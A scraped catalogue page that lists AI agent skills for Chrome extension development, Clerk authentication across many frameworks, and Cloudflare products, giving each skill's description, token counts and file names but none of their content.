Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Product Summary
- When to Use
- Quick Reference
- Decision Guidance
- Workflow
- Common Gotchas
- Verification Checklist
- Resources
Files
SKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytesSKILL.mdcore9,881 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubchrome-extension-development
When your agent uses it
Expert guidelines for Chrome extension development with Manifest V3, covering security, performance, and best practices. Use when building browser extensions, creating popup UIs, implementing content scripts, working with Chrome APIs, managing extension permissions, or publishing to Chrome Web Store.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,396 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Workflow: Building a Chrome Extension from Scratch
- Example: Minimal Manifest V3 Configuration
- Example: Background Service Worker with Messaging
- Code Style and Structure
- Architecture and Best Practices
- Chrome API Usage
- Security and Privacy
- Performance and Optimization
- UI and User Experience
- Internationalization
- Accessibility
- Testing and Debugging
- Publishing and Maintenance
- Follow Official Documentation
- Output Expectations
Files
SKILL.mdcore6,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk
When your agent uses it
Clerk authentication router. Use when user asks about Clerk CLI operations, adding authentication, setting up Clerk, custom sign-in flows, Swift or native iOS auth, native Android auth, Next.js patterns, React patterns, Vue patterns, Nuxt patterns, Astro patterns, TanStack Start patterns, Expo patterns, React Router patterns, Chrome Extension patterns, organizations, billing, subscriptions, payments, pricing, plans, seat-based pricing, feature entitlements, syncing users, testing, impersonating a user, or testing webhooks locally. Automatically routes to the specific skill based on their task.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,597 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Version Detection
- By Task
- Quick Navigation
Files
SKILL.mdcore6,147 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-android
When your agent uses it
Implement Clerk authentication for native Android apps using Kotlin and Jetpack Compose with clerk-android source-guided patterns. Use for prebuilt AuthView/UserButton or custom API-driven auth flows. Do not use for Expo or React Native projects.
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
1,841 tokensWhen the skill is activated
Reference documents
1,346 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Activation Rules
- What Do You Need?
- Quick Start
- Decision Tree
- Flow References
- Interaction Contract
- Source-Driven Templates
- Execution Gates (Do Not Skip)
- Workflow
- Common Pitfalls
- See Also
Files
SKILL.mdcore8,572 bytesreferences/custom.mddoc3,869 bytesreferences/prebuilt.mddoc2,760 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-astro-patterns
When your agent uses it
Astro patterns with Clerk — middleware, SSR pages, island components, API routes, static vs SSR rendering. Triggers on: astro clerk, clerk astro middleware, astro protected page, clerk island component, astro API route auth, clerk astro SSR.
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
995 tokensWhen the skill is activated
Reference documents
2,588 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Do You Need?
- Mental Model
- Setup
- SSR Page Auth
- API Route Auth
- Common Pitfalls
- Import Map
- Env Variables
- See Also
- Docs
Scripts executed separately
templates/astro-basic-auth/astro.config.mjstemplates/astro-basic-auth/package.jsontemplates/astro-basic-auth/src/middleware.ts
Files
SKILL.mdcore3,806 bytesevals/evals.jsonasset5,743 bytesreferences/api-routes.mddoc2,009 bytesreferences/astro-react.mddoc2,295 bytesreferences/island-components.mddoc1,723 bytesreferences/middleware.mddoc2,021 bytesreferences/ssr-pages.mddoc1,811 bytestemplates/astro-basic-auth/astro.config.mjsruns229 bytestemplates/astro-basic-auth/package.jsonruns227 bytestemplates/astro-basic-auth/src/layouts/Layout.astroasset522 bytestemplates/astro-basic-auth/src/middleware.tsruns98 bytestemplates/astro-basic-auth/src/pages/index.astroasset260 bytestemplates/astro-basic-auth/src/pages/sign-in.astroasset135 bytestemplates/astro-basic-auth/tsconfig.jsonasset42 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-backend-api
When your agent uses it
Clerk Backend REST API explorer and executor. Browse tags, inspect endpoint schemas, and execute authenticated requests. Use when listing users, managing organizations, or calling any Clerk API endpoint.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
4,103 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Options context
- CRITICAL: Mandatory checks before EVERY write request
- FAST PATH: Common operations (use directly, no spec fetching needed)
- Clerk Backend API — Full Endpoint Reference
- How to execute requests
- API specs context
- Rules
- Rate Limits & Gotchas
- Modes
- Your Task
- See Also
Scripts executed separately
scripts/api-specs-context.shscripts/extract-endpoint-detail.shscripts/extract-tag-endpoints.shscripts/extract-tags.js
Files
SKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesSKILL.mdcore16,088 bytesevals/evals.jsonasset4,742 bytesscripts/api-specs-context.shruns887 bytesscripts/extract-endpoint-detail.shruns5,244 bytesscripts/extract-tag-endpoints.shruns5,952 bytesscripts/extract-tags.jsruns429 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-chrome-extension-patterns
When your agent uses it
Chrome Extension auth with @clerk/chrome-extension -- popup/sidepanel setup, syncHost for OAuth/SAML via web app, createClerkClient for service workers and headless extensions, stable CRX ID. Triggers on: Chrome extension auth, Plasmo clerk, popup sign-in, syncHost, background service worker token, createClerkClient, headless extension.
What it loads into context
Frontmatter
192 tokensAlways available to the agent
SKILL.md
2,939 tokensWhen the skill is activated
Reference documents
3,727 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- CRITICAL RULES
- Authentication Options
- Quick Start (Plasmo)
- syncHost -- Sync Auth with Web App
- createClerkClient() for Vanilla JS / Service Workers
- Headless Extension (no popup, no side panel)
- Content Scripts
- Stable CRX ID
- Token Cache (persist across popup closes)
- Common Pitfalls
- Plan Requirements
- See Also
Scripts executed separately
templates/chrome-ext-basic-auth/package.jsontemplates/chrome-ext-basic-auth/src/popup.tsx
Files
SKILL.mdcore11,660 bytesSKILL.mdcore11,660 bytesSKILL.mdcore11,660 bytesSKILL.mdcore11,660 bytesevals/evals.jsonasset4,935 bytesreferences/content-scripts.mddoc3,204 bytesreferences/create-clerk-client.mddoc3,992 bytesreferences/headless-extension.mddoc3,811 bytesreferences/sync-host.mddoc4,223 bytestemplates/chrome-ext-basic-auth/package.jsonruns450 bytestemplates/chrome-ext-basic-auth/src/popup.tsxruns1,138 bytestemplates/chrome-ext-basic-auth/tsconfig.jsonasset163 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-custom-ui
When your agent uses it
Custom authentication flows and component appearance - hooks (useSignIn, useSignUp), themes, colors, fonts, CSS. Use for custom sign-in/sign-up flows, appearance styling, visual customization, branding.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
1,705 tokensWhen the skill is activated
Reference documents
7,679 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Do You Need?
- Custom Flow References
- Appearance Customization
- Workflow
- Common Pitfalls
- See Also
Files
SKILL.mdcore6,495 bytesSKILL.mdcore6,495 bytescore-2/custom-sign-in.mddoc5,545 bytescore-2/custom-sign-up.mddoc4,694 bytescore-3/custom-sign-in.mddoc9,178 bytescore-3/custom-sign-up.mddoc7,727 bytescore-3/show-component.mddoc3,308 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-expo
When your agent uses it
Add Clerk authentication to Expo and React Native apps using @clerk/expo. Use for Expo setup, prebuilt native components (AuthView, UserButton), custom sign-in/sign-up flows (email, password, SMS/phone OTP, MFA), OAuth/SSO, native Google/Apple sign-in, Expo Router protected routes, biometrics, and push notifications. Do not use for native Swift/iOS, native Android/Kotlin, or web-only framework projects.
What it loads into context
Frontmatter
177 tokensAlways available to the agent
SKILL.md
2,795 tokensWhen the skill is activated
Reference documents
8,371 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Activation Rules
- Intent Map
- Default Path Decision
- Quick Workflow
- Execution Gates (Do Not Skip)
- Version Notes (v3.5–v3.6, June 2026)
- Common Pitfalls
- See Also
Files
SKILL.mdcore11,306 bytesSKILL.mdcore11,306 bytesevals/evals.jsonasset6,733 bytesreferences/custom-flows.mddoc9,526 bytesreferences/prebuilt-components.mddoc5,033 bytesreferences/protected-routes.mddoc2,550 bytesreferences/recipes.mddoc5,151 bytesreferences/setup.mddoc5,177 bytesreferences/sso-and-native-auth.mddoc6,171 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-nextjs-patterns
When your agent uses it
Advanced Next.js patterns - middleware, Server Actions, caching with Clerk.
What it loads into context
Frontmatter
102 tokensAlways available to the agent
SKILL.md
2,286 tokensWhen the skill is activated
Reference documents
3,595 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Do You Need?
- References
- Mental Model
- Minimal Pattern
- Common Pitfalls
- Session Tokens & Custom JWTs
- See Also
- Docs
Scripts executed separately
templates/nextjs-basic-auth/app/layout.tsxtemplates/nextjs-basic-auth/app/page.tsxtemplates/nextjs-basic-auth/package.jsontemplates/nextjs-basic-auth/proxy.ts
Files
SKILL.mdcore9,017 bytesevals/evals.jsonasset5,183 bytesreferences/api-routes.mddoc1,462 bytesreferences/caching-auth.mddoc1,373 bytesreferences/middleware-strategies.mddoc7,297 bytesreferences/server-actions.mddoc1,588 bytesreferences/server-vs-client.mddoc2,379 bytestemplates/nextjs-basic-auth/app/layout.tsxruns565 bytestemplates/nextjs-basic-auth/app/page.tsxruns58 bytestemplates/nextjs-basic-auth/package.jsonruns353 bytestemplates/nextjs-basic-auth/proxy.tsruns280 bytestemplates/nextjs-basic-auth/tsconfig.jsonasset576 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-nuxt-patterns
When your agent uses it
Nuxt 3 auth patterns with @clerk/nuxt - middleware, composables, server API routes, SSR. Triggers on: Nuxt auth, useAuth composable, clerkMiddleware Nuxt, server API Clerk, Nuxt route protection.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
874 tokensWhen the skill is activated
Reference documents
1,905 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Do You Need?
- References
- Setup
- Mental Model
- Minimal Pattern
- Common Pitfalls
- Org-Aware Pattern
- See Also
- Docs
Scripts executed separately
templates/nuxt-basic-auth/nuxt.config.tstemplates/nuxt-basic-auth/package.json
Files
SKILL.mdcore3,171 bytesevals/evals.jsonasset6,598 bytesreferences/composables.mddoc1,946 bytesreferences/nuxt-middleware.mddoc1,485 bytesreferences/server-api-routes.mddoc1,622 bytesreferences/ssr-auth.mddoc2,155 bytestemplates/nuxt-basic-auth/app.vueasset267 bytestemplates/nuxt-basic-auth/nuxt.config.tsruns65 bytestemplates/nuxt-basic-auth/package.jsonruns195 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-orgs
When your agent uses it
Clerk Organizations for B2B and multi-tenant apps - org switching, roles and permissions, verified domains, and enterprise SSO. Use for team workspaces, RBAC, org-scoped routing, member management. Also load this when a project treats teams, workspaces, tenants, or companies as its customers - shared accounts, inviting teammates, per-seat pricing, per-company data isolation - even when the words "organization" or "B2B" are never used.
What it loads into context
Frontmatter
196 tokensAlways available to the agent
SKILL.md
5,500 tokensWhen the skill is activated
Reference documents
5,713 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Should this app use Organizations?
- Quick Start
- What Do You Need?
- References
- Dashboard shortcuts
- Agent-first: Programmatic org management
- Documentation
- Key Patterns
- Default Roles + System Permissions
- Billing Checks
- Enterprise SSO
- Gotchas
- Error Signatures (diagnose fast)
- Authorization Pattern (Complete Example)
- Invitations (short form)
- Workflow
- See Also
Files
SKILL.mdcore22,467 bytesSKILL.mdcore22,467 bytesSKILL.mdcore22,467 bytesSKILL.mdcore22,467 bytesSKILL.mdcore22,467 bytesSKILL.mdcore22,467 bytesevals/evals.jsonasset11,438 bytesreferences/enterprise-sso.mddoc6,688 bytesreferences/invitations.mddoc6,312 bytesreferences/nextjs-patterns.mddoc4,688 bytesreferences/roles-permissions.mddoc5,870 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-react-patterns
When your agent uses it
React SPA auth patterns with @clerk/react for Vite/CRA - ClerkProvider setup, useAuth/useUser/useClerk hooks, React Router protected routes, custom sign-in flows. Triggers on: Vite Clerk setup, React Router auth, useAuth hook, protected route, custom sign-in form React.
What it loads into context
Frontmatter
106 tokensAlways available to the agent
SKILL.md
1,124 tokensWhen the skill is activated
Reference documents
2,412 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Do You Need?
- References
- Setup
- Mental Model
- Minimal Pattern
- Protected Route (React Router v6/v7)
- Token for API Calls
- Common Pitfalls
- See Also
- Docs
Scripts executed separately
templates/react-basic-auth/package.jsontemplates/react-basic-auth/src/App.tsxtemplates/react-basic-auth/src/main.tsxtemplates/react-basic-auth/vite.config.ts
Files
SKILL.mdcore4,162 bytesevals/evals.jsonasset4,586 bytesreferences/custom-flows.mddoc2,741 bytesreferences/hooks.mddoc2,366 bytesreferences/protected-routes.mddoc2,230 bytesreferences/router-integration.mddoc2,084 bytestemplates/react-basic-auth/index.htmlasset300 bytestemplates/react-basic-auth/package.jsonruns429 bytestemplates/react-basic-auth/src/App.tsxruns310 bytestemplates/react-basic-auth/src/main.tsxruns288 bytestemplates/react-basic-auth/tsconfig.jsonasset234 bytestemplates/react-basic-auth/vite.config.tsruns132 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-react-router-patterns
When your agent uses it
React Router v7/v8 patterns with Clerk — rootAuthLoader, getAuth in loaders, clerkMiddleware, protected routes, SSR user data, org switching. Triggers on: react-router auth, rootAuthLoader, getAuth loader, react-router protected route, loader authentication, SSR auth react-router, useNavigate may be used only in the context of a Router.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
1,899 tokensWhen the skill is activated
Reference documents
1,265 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Do You Need?
- React Router v7 vs v8
- Minimal Setup
- Mental Model
- Auth in Loaders
- Auth in Actions
- Client Components
- Org Switching
- Common Pitfalls
- Import Map
- See Also
- Docs
Scripts executed separately
templates/react-router-basic-auth/app/root.tsxtemplates/react-router-basic-auth/app/routes.tstemplates/react-router-basic-auth/app/routes/home.tsxtemplates/react-router-basic-auth/package.jsontemplates/react-router-basic-auth/react-router.config.tstemplates/react-router-basic-auth/vite.config.ts
Files
SKILL.mdcore7,395 bytesevals/evals.jsonasset4,749 bytesreferences/loaders-actions.mddoc1,742 bytesreferences/protected-routes.mddoc1,712 bytesreferences/ssr-auth.mddoc1,470 bytestemplates/react-router-basic-auth/app/app.cssasset0 bytestemplates/react-router-basic-auth/app/root.tsxruns2,504 bytestemplates/react-router-basic-auth/app/routes.tsruns132 bytestemplates/react-router-basic-auth/app/routes/home.tsxruns57 bytestemplates/react-router-basic-auth/package.jsonruns427 bytestemplates/react-router-basic-auth/react-router.config.tsruns105 bytestemplates/react-router-basic-auth/vite.config.tsruns499 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-setup
When your agent uses it
Set up Clerk authentication in any project with the Clerk CLI and official framework quickstarts. Use when adding Clerk, initializing Clerk, scaffolding a new app with Clerk, or migrating an existing authentication system to Clerk.
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
2,950 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Before you start
- Existing authentication
- Existing Clerk projects
- Use an existing Clerk application (optional)
- Step 1a: Existing project without Clerk
- Step 1b: Empty directory
- Step 1c: Accountless development keys
- Step 2: Fall back to docs when init is incomplete
- Step 3: Add visible auth controls
- Step 4: Verify
- Step 5: If using shadcn/ui
- Critical rules
- After setup
Files
SKILL.mdcore12,021 bytesSKILL.mdcore12,021 bytesSKILL.mdcore12,021 bytesSKILL.mdcore12,021 bytesSKILL.mdcore12,021 bytesSKILL.mdcore12,021 bytesSKILL.mdcore12,021 bytesSKILL.mdcore12,021 bytesevals/evals.jsonasset4,544 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-swift
When your agent uses it
Implement Clerk authentication for native Swift and iOS apps using ClerkKit and ClerkKitUI source-guided patterns. Use for prebuilt AuthView or custom native flows. Do not use for Expo or React Native projects.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
2,554 tokensWhen the skill is activated
Reference documents
2,250 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Activation Rules
- What Do You Need?
- Quick Start
- Decision Tree
- Flow References
- Interaction Contract
- Source-Driven Templates
- Execution Gates (Do Not Skip)
- Workflow
- Common Pitfalls
- See Also
Files
SKILL.mdcore12,062 bytesSKILL.mdcore12,062 bytesSKILL.mdcore12,062 bytesSKILL.mdcore12,062 bytesSKILL.mdcore12,062 bytesSKILL.mdcore12,062 bytesSKILL.mdcore12,062 bytesreferences/custom.mddoc7,642 bytesreferences/prebuilt.mddoc3,301 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-tanstack-patterns
When your agent uses it
TanStack React Start auth patterns with @clerk/tanstack-react-start - createServerFn, beforeLoad guards, loaders, Vite plugin, server middleware. Triggers on: TanStack auth, createServerFn clerk, beforeLoad protection, TanStack Start middleware.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
955 tokensWhen the skill is activated
Reference documents
2,124 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Do You Need?
- References
- Setup
- Mental Model
- Minimal Pattern
- Common Pitfalls
- See Also
- Docs
Scripts executed separately
templates/tanstack-basic-auth/package.jsontemplates/tanstack-basic-auth/src/router.tsxtemplates/tanstack-basic-auth/src/routes/__root.tsxtemplates/tanstack-basic-auth/src/routes/index.tsxtemplates/tanstack-basic-auth/src/start.tstemplates/tanstack-basic-auth/vite.config.ts
Files
SKILL.mdcore3,837 bytesevals/evals.jsonasset5,268 bytesreferences/loaders.mddoc1,793 bytesreferences/router-guards.mddoc2,057 bytesreferences/server-functions.mddoc2,152 bytesreferences/server-setup.mddoc2,676 bytestemplates/tanstack-basic-auth/package.jsonruns513 bytestemplates/tanstack-basic-auth/src/router.tsxruns488 bytestemplates/tanstack-basic-auth/src/routes/__root.tsxruns808 bytestemplates/tanstack-basic-auth/src/routes/index.tsxruns496 bytestemplates/tanstack-basic-auth/src/start.tsruns372 bytestemplates/tanstack-basic-auth/tsconfig.jsonasset531 bytestemplates/tanstack-basic-auth/vite.config.tsruns383 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-testing
When your agent uses it
E2E testing for Clerk apps. Use with Playwright or Cypress for auth flow tests.
What it loads into context
Frontmatter
106 tokensAlways available to the agent
SKILL.md
575 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Decision Tree
- Mental Model
- Workflow
- Best Practices
- Anti-Patterns
- Framework-Specific
- See Also
Files
SKILL.mdcore2,338 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-vue-patterns
When your agent uses it
Vue 3 patterns with Clerk — composables (useAuth, useUser, useClerk, useOrganization), Vue Router guards, Pinia auth store integration. Triggers on: vue clerk, useAuth vue, clerk composables, vue router clerk guard, pinia auth clerk. For Nuxt, use clerk-nuxt-patterns instead.
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
797 tokensWhen the skill is activated
Reference documents
1,381 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Do You Need?
- Mental Model
- Setup
- Composables Usage
- Org Switching
- Common Pitfalls
- Import Map
- See Also
- Docs
Scripts executed separately
templates/vue-basic-auth/package.jsontemplates/vue-basic-auth/src/main.tstemplates/vue-basic-auth/vite.config.ts
Files
SKILL.mdcore2,833 bytesevals/evals.jsonasset2,093 bytesreferences/composables.mddoc2,204 bytesreferences/pinia-integration.mddoc1,461 bytesreferences/vue-router-guards.mddoc1,657 bytestemplates/vue-basic-auth/index.htmlasset294 bytestemplates/vue-basic-auth/package.jsonruns337 bytestemplates/vue-basic-auth/src/App.vueasset304 bytestemplates/vue-basic-auth/src/main.tsruns390 bytestemplates/vue-basic-auth/src/style.cssasset0 bytestemplates/vue-basic-auth/vite.config.tsruns127 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubclerk-webhooks
When your agent uses it
Clerk webhooks for real-time events and data syncing. Verify with verifyWebhook from the framework-specific package. Handle user, session, organization, billing, and payment events. Build event-driven features like database sync, notifications, and integrations.
What it loads into context
Frontmatter
109 tokensAlways available to the agent
SKILL.md
3,215 tokensWhen the skill is activated
Reference documents
1,554 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use Webhooks
- Verify Every Webhook
- Keep the Webhook Route Unprotected
- Complete Webhook Handler (Next.js App Router)
- Full Example: Welcome Email (Resend) + Slack Notification on user.created
- Full Example: Organization Membership Sync to Database
- Other Frameworks
- Type Narrowing for `evt.data`
- Payload Field Reference
- Supported Events (Full Catalog)
- Webhook Reliability
- Common Pitfalls
- Testing & Deployment
- References
- See Also
Files
SKILL.mdcore13,334 bytesSKILL.mdcore13,334 bytesevals/evals.jsonasset3,843 bytesreferences/frameworks.mddoc6,374 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcloudflare
When your agent uses it
Discover and choose Cloudflare products for apps, APIs, AI agents, storage, networking, and security. Use for architecture and product selection, including when the user describes a need without naming a Cloudflare product; then find the relevant skill or documentation.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
5,453 tokensWhen the skill is activated
Reference documents
88,586 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Choose the CLI
- Help the user find the right product
- What are you trying to build?
- Find guidance for a task not listed here
- Caching
- Working principles
Files
SKILL.mdcore26,788 bytesreferences/ai-gateway/README.mddoc1,989 bytesreferences/ai-gateway/configuration.mddoc2,274 bytesreferences/ai-gateway/dynamic-routing.mddoc1,901 bytesreferences/ai-gateway/features.mddoc2,641 bytesreferences/ai-gateway/sdk-integration.mddoc2,293 bytesreferences/ai-gateway/troubleshooting.mddoc2,521 bytesreferences/ai-search/README.mddoc1,869 bytesreferences/ai-search/api.mddoc1,287 bytesreferences/ai-search/configuration.mddoc1,855 bytesreferences/ai-search/gotchas.mddoc1,664 bytesreferences/ai-search/patterns.mddoc1,748 bytesreferences/analytics-engine/README.mddoc3,426 bytesreferences/analytics-engine/api.mddoc3,143 bytesreferences/analytics-engine/configuration.mddoc2,361 bytesreferences/analytics-engine/gotchas.mddoc2,018 bytesreferences/analytics-engine/patterns.mddoc2,312 bytesreferences/bindings/README.mddoc1,352 bytesreferences/bindings/api.mddoc2,423 bytesreferences/bindings/configuration.mddoc2,554 bytesreferences/bindings/gotchas.mddoc3,055 bytesreferences/bindings/patterns.mddoc2,442 bytesreferences/browser-rendering/README.mddoc1,270 bytesreferences/browser-rendering/api.mddoc1,208 bytesreferences/browser-rendering/configuration.mddoc1,325 bytesreferences/browser-rendering/gotchas.mddoc1,926 bytesreferences/browser-rendering/patterns.mddoc1,528 bytesreferences/c3/README.mddoc3,696 bytesreferences/c3/api.mddoc2,239 bytesreferences/c3/configuration.mddoc1,637 bytesreferences/c3/gotchas.mddoc2,307 bytesreferences/c3/patterns.mddoc2,117 bytesreferences/containers/README.mddoc1,925 bytesreferences/containers/api.mddoc1,588 bytesreferences/containers/configuration.mddoc1,864 bytesreferences/containers/gotchas.mddoc2,466 bytesreferences/containers/patterns.mddoc2,595 bytesreferences/cron-triggers/README.mddoc1,546 bytesreferences/cron-triggers/api.mddoc1,718 bytesreferences/cron-triggers/configuration.mddoc1,705 bytesreferences/cron-triggers/gotchas.mddoc2,399 bytesreferences/cron-triggers/patterns.mddoc2,010 bytesreferences/d1/README.mddoc1,433 bytesreferences/d1/api.mddoc1,986 bytesreferences/d1/configuration.mddoc1,986 bytesreferences/d1/gotchas.mddoc2,280 bytesreferences/d1/patterns.mddoc2,265 bytesreferences/graphql-api/README.mddoc7,869 bytesreferences/graphql-api/api.mddoc5,782 bytesreferences/graphql-api/configuration.mddoc4,675 bytesreferences/graphql-api/gotchas.mddoc4,857 bytesreferences/graphql-api/patterns.mddoc6,539 bytesreferences/hyperdrive/README.mddoc2,165 bytesreferences/hyperdrive/api.mddoc3,203 bytesreferences/hyperdrive/configuration.mddoc3,317 bytesreferences/hyperdrive/gotchas.mddoc3,498 bytesreferences/hyperdrive/patterns.mddoc2,770 bytesreferences/images/README.mddoc983 bytesreferences/images/api.mddoc1,627 bytesreferences/images/configuration.mddoc2,143 bytesreferences/images/gotchas.mddoc2,280 bytesreferences/images/patterns.mddoc1,885 bytesreferences/kv/README.mddoc1,536 bytesreferences/kv/api.mddoc1,792 bytesreferences/kv/configuration.mddoc1,732 bytesreferences/kv/gotchas.mddoc2,489 bytesreferences/kv/patterns.mddoc2,932 bytesreferences/miniflare/README.mddoc1,615 bytesreferences/miniflare/api.mddoc1,872 bytesreferences/miniflare/configuration.mddoc2,197 bytesreferences/miniflare/gotchas.mddoc2,393 bytesreferences/miniflare/patterns.mddoc2,297 bytesreferences/observability/README.mddoc2,465 bytesreferences/observability/api.mddoc2,264 bytesreferences/observability/configuration.mddoc2,517 bytesreferences/observability/gotchas.mddoc3,825 bytesreferences/observability/patterns.mddoc3,100 bytesreferences/pages-functions/README.mddoc1,319 bytesreferences/pages-functions/api.mddoc1,154 bytesreferences/pages-functions/configuration.mddoc1,286 bytesreferences/pages-functions/gotchas.mddoc1,677 bytesreferences/pages-functions/patterns.mddoc1,420 bytesreferences/pages/README.mddoc1,534 bytesreferences/pages/api.mddoc1,104 bytesreferences/pages/configuration.mddoc1,570 bytesreferences/pages/gotchas.mddoc1,722 bytesreferences/pages/patterns.mddoc1,247 bytesreferences/queues/README.mddoc1,862 bytesreferences/queues/api.mddoc1,801 bytesreferences/queues/configuration.mddoc2,404 bytesreferences/queues/gotchas.mddoc2,848 bytesreferences/queues/patterns.mddoc2,703 bytesreferences/r2/README.mddoc1,705 bytesreferences/r2/api.mddoc1,748 bytesreferences/r2/configuration.mddoc2,247 bytesreferences/r2/gotchas.mddoc3,414 bytesreferences/r2/patterns.mddoc2,286 bytesreferences/secrets-store/README.mddoc1,851 bytesreferences/secrets-store/api.mddoc1,915 bytesreferences/secrets-store/configuration.mddoc2,460 bytesreferences/secrets-store/gotchas.mddoc2,850 bytesreferences/secrets-store/patterns.mddoc3,085 bytesreferences/smart-placement/README.mddoc5,102 bytesreferences/smart-placement/api.mddoc5,559 bytesreferences/smart-placement/configuration.mddoc6,119 bytesreferences/smart-placement/gotchas.mddoc5,637 bytesreferences/smart-placement/patterns.mddoc5,784 bytesreferences/static-assets/README.mddoc1,729 bytesreferences/static-assets/api.mddoc1,741 bytesreferences/static-assets/configuration.mddoc2,192 bytesreferences/static-assets/gotchas.mddoc2,773 bytesreferences/static-assets/patterns.mddoc2,251 bytesreferences/stream/README.mddoc1,818 bytesreferences/stream/api-live.mddoc2,158 bytesreferences/stream/api.mddoc2,481 bytesreferences/stream/configuration.mddoc2,040 bytesreferences/stream/gotchas.mddoc2,338 bytesreferences/stream/patterns.mddoc2,323 bytesreferences/tail-workers/README.mddoc1,466 bytesreferences/tail-workers/api.mddoc1,388 bytesreferences/tail-workers/configuration.mddoc1,469 bytesreferences/tail-workers/gotchas.mddoc1,601 bytesreferences/tail-workers/patterns.mddoc1,564 bytesreferences/tunnel/README.mddoc1,547 bytesreferences/tunnel/api.mddoc1,360 bytesreferences/tunnel/configuration.mddoc1,369 bytesreferences/tunnel/gotchas.mddoc1,572 bytesreferences/tunnel/networking.mddoc1,504 bytesreferences/tunnel/patterns.mddoc1,513 bytesreferences/turn/README.mddoc3,720 bytesreferences/turn/api.mddoc5,220 bytesreferences/turn/configuration.mddoc4,178 bytesreferences/turn/gotchas.mddoc7,020 bytesreferences/turn/patterns.mddoc6,189 bytesreferences/vectorize/README.mddoc2,101 bytesreferences/vectorize/api.mddoc2,171 bytesreferences/vectorize/configuration.mddoc2,106 bytesreferences/vectorize/gotchas.mddoc2,454 bytesreferences/vectorize/patterns.mddoc2,699 bytesreferences/waf/README.mddoc1,625 bytesreferences/waf/api.mddoc2,014 bytesreferences/waf/configuration.mddoc1,966 bytesreferences/waf/gotchas.mddoc2,395 